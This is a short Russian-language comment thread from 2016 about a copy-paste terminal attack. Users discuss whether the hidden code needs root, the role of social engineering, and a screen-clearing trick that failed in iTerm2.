    Так и не понял. Зловредный код выполняется до судо. В чем тайный смысл?


    1. Ubuntovod
      21.01.2016 10:24

      Наверное, в доступе к тому что не требует рута


    1. ganjar
      21.01.2016 11:00

      Первый пункт в примере «Входим под супер пользователем:
      sudo su
      Дальше весь код выполняется под рутом»


    1. Speakus
      21.01.2016 12:38
      +2

      Даже без судо от зловредного кода ничего хорошего если он выполнится на пользовательской тачке.


    1. saboteur_kiev
      22.01.2016 03:24
      +3

      Тайный смысл в том, что социальная инженерия имеет такой инструмент, которым при должном использовании можно очень даже широко воспользоваться


  1. relgames
    21.01.2016 17:26

    Очистка экрана не сработала — оно просто проскролило строку вверх экрана. Я после каждой команды скроллю вверх и смотрю, что выполнилось.
    iTerm2.